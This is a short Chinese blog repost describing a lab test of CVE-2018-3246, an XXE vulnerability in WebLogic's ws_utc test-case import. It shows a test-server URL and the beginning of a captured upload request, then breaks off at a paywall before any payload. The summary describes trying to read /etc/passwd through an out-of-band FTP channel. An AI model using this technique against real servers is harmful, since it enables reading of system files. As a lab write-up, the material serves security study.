CVE-2018-3246 weblogic xxe

ddr12231

于 2019-08-27 16:58:00 发布

阅读量1.9k

点赞数

原文链接：http://www.cnblogs.com/mrhonest/p/11419386.html

版权

该博客详细介绍了CVE-2018-3246，一个针对Weblogic服务器的XXE（XML外部实体）漏洞。通过使用P牛2018-2894的容器进行测试，作者演示了如何导入测试用例，抓取上传数据包，并修改payload以尝试利用此漏洞。然而，由于Weblogic运行的账户权限限制，FTP服务虽然接收到连接信息，但无法读取file://etc/passwd。问题的根本原因在于账户权限不足。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

使用P牛2018-2894的容器

http://192.168.245.130:7001/ws_utc/begin.do

导入测试用例

上传时抓取数据包

POST /ws_utc/resources/ws/config/import?timestamp=1566895391388 HTTP/1.1
Host: 192.168.245.130:7001
Content-Length: 215
Cache-Control: max-age=0
Origin: http://192.168.245.130:7001
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycneAkX3GCCBYEERe
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: te

最低0.47元/天解锁文章